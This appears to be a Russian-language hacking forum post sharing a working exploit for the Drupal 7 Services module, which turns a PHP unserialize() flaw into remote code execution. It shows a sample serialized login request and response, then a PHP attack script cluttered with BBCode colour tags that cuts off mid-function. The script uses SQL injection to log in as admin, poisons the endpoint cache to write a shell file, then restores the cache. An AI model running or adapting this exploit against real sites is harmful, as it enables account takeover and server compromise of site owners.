Показать сообщение отдельно

  #30  
Старый 09.03.2017, 22:24
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
С нами: 10866626

Репутация: 4268


По умолчанию

DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE

Уязвимость

Одной из особенностей модуля является то, что можно управлять форматом ввода / вывода, изменяя заголовки Content-Type / Accept. По умолчанию разрешены следующие форматы ввода:

Application / xml

Application / json

Multipart / form-data

Application / vnd.php.serialized

Код:
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
Код:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}


Exploit:

PHP код:
[COLOR="#000000"]#!/usr/bin/php
[COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'dixuSOspsOUU.php'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''
[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$endpoint_path[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Stage 1: SQL Injection

[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]DatabaseCondition
[/COLOR][COLOR="#007700"]{
protected[/COLOR][COLOR="#0000BB"]$conditions[/COLOR][COLOR="#007700"]= [
[/
COLOR][COLOR="#DD0000"]"#conjunction"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"AND"
[/COLOR][COLOR="#007700"]];
protected[/COLOR][COLOR="#0000BB"]$arguments[/COLOR][COLOR="#007700"]= [];
protected[/COLOR][COLOR="#0000BB"]$changed[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$queryPlaceholderIdentifier[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
public[/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"];

if(!isset([/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"]))
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]changed[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
}
}
}

class[/
COLOR][COLOR="#0000BB"]SelectQueryExtender[/COLOR][COLOR="#007700"]{
[/
COLOR][COLOR="#FF8000"]# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
[/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

protected[/COLOR][COLOR="#0000BB"]$uniqueIdentifier[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]QID[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$placeholder[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DatabaseCondition[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);
}
}

[/
COLOR][COLOR="#0000BB"]$cache_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#DD0000"]:resources"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$sql_cache[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT data FROM {cache} WHERE cid='[/COLOR][COLOR="#0000BB"]$cache_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$password_hash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=
[/
COLOR][COLOR="#DD0000"]"0x3a) UNION SELECT ux.uid AS uid, "[/COLOR][COLOR="#007700"].
[/
COLOR][COLOR="#DD0000"]"ux.name AS name, '[/COLOR][COLOR="#0000BB"]$password_hash[/COLOR][COLOR="#DD0000"]' AS pass, "[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"ux.mail AS mail, ux.theme AS theme, ([/COLOR][COLOR="#0000BB"]$sql_cache[/COLOR][COLOR="#DD0000"]) AS signature, "[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"ux.pass AS signature_format, ux.created AS created, "[/COLOR][COLOR="#007700"].
[/
COLOR][COLOR="#DD0000"]"ux.access AS access, ux.login AS login, ux.status AS status, "[/COLOR][COLOR="#007700"].
[/
COLOR][COLOR="#DD0000"]"ux.timezone AS timezone, ux.language AS language, ux.picture "[/COLOR][COLOR="#007700"].
[/
COLOR][COLOR="#DD0000"]"AS picture, ux.init AS init, ux.data AS data FROM {users} ux "[/COLOR][COLOR="#007700"].
[/
COLOR][COLOR="#DD0000"]"WHERE ux.uid<>(0"
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SelectQueryExtender[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]= [[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ouvreboite'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_PHP[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# If this worked, the rest will as well
[/COLOR][COLOR="#007700"]if(!isset([/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]))
{
[/
COLOR][COLOR="#0000BB"]print_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Failed to login with fake password"[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#FF8000"]# Store session and user data

[/COLOR][COLOR="#0000BB"]$session[/COLOR][COLOR="#007700"]= [
[/
COLOR][COLOR="#DD0000"]'session_name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session_name[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'session_id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]sessid[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'token'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]token
[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$session[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Reassign fields
[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature_format[/COLOR][COLOR="#007700"];
unset([/
COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature[/COLOR][COLOR="#007700"]);
unset([/
COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature_format[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]);

if([/
COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Unable to obtains endpoint's cache value"[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Cache contains "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]" entries"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Stage 2: Change endpoint's behaviour to write a shell

[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]DrupalCacheArray
[/COLOR][COLOR="#007700"]{
[/
COLOR][COLOR="#FF8000"]# Cache ID
[/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$cid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:endpoint_name:resources"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#FF8000"]# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
[/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$bin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'cache'[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$keysToPersist[/COLOR][COLOR="#007700"]= [];
protected[/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"]= [];

function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"]= [
[/
COLOR][COLOR="#DD0000"]'services'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'resource_api_version'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'1.0'[/COLOR][COLOR="#007700"]]
];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#DD0000"]:resources"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#FF8000"]# If no endpoint is given, just reset the original values
[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]))
{
[/
COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'actions'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]] = [
[/
COLOR][COLOR="#DD0000"]'help'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Writes data to a file'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#FF8000"]# Callback function
[/COLOR][COLOR="#DD0000"]'callback'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'file_put_contents'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#FF8000"]# This one does not accept "true" as Drupal does,
# so we just go for a tautology
[/COLOR][COLOR="#DD0000"]'access callback'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'is_string'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'access arguments'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'a string'[/COLOR][COLOR="#007700"]],
[/
COLOR][COLOR="#FF8000"]# Arguments given through POST
[/COLOR][COLOR="#DD0000"]'args'[/COLOR][COLOR="#007700"]=> [
[/
COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]=> [
[/
COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Path to the file'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'source'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"]],
[/
COLOR][COLOR="#DD0000"]'optional'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],
],
[/
COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=> [
[/
COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'The data to write'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'source'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]],
[/
COLOR][COLOR="#DD0000"]'optional'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],
],
],
[/
COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]=> [
[/
COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'inc'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'services'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'resources/user_resource'[/COLOR][COLOR="#007700"],
],
[/
COLOR][COLOR="#DD0000"]'endpoint'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$settings
[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'endpoint'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'actions'[/COLOR][COLOR="#007700"]] += [
[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=> [
[/
COLOR][COLOR="#DD0000"]'enabled'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'settings'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$settings
[/COLOR][COLOR="#007700"]]
];
}

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]storage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]keysToPersist[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_fill_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]array_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
}
}

class[/
COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]Extends[/COLOR][COLOR="#0000BB"]DrupalCacheArray[/COLOR][COLOR="#007700"]{
protected[/COLOR][COLOR="#0000BB"]$persistable[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$completeRegistry[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]cache_poison[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Write the file
[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]= (array)[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_JSON[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#FF8000"]# Stage 3: Restore endpoint's behaviour

[/COLOR][COLOR="#0000BB"]cache_reset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]);

if(!(isset([/
COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]] ===[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]])))
{
[/
COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Failed to write file."[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#0000BB"]$file_url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"File written:[/COLOR][COLOR="#0000BB"]$file_url[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# HTTP Browser

[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]Browser
[/COLOR][COLOR="#007700"]{
private[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]CONTROLLER[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ACTION[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"];
}

function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]= [
[/
COLOR][COLOR="#DD0000"]"Accept: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TYPE_JSON[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"Content-Type:[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])
];
[/
COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]controller[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]action[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_URL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POSTFIELDS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);
[/
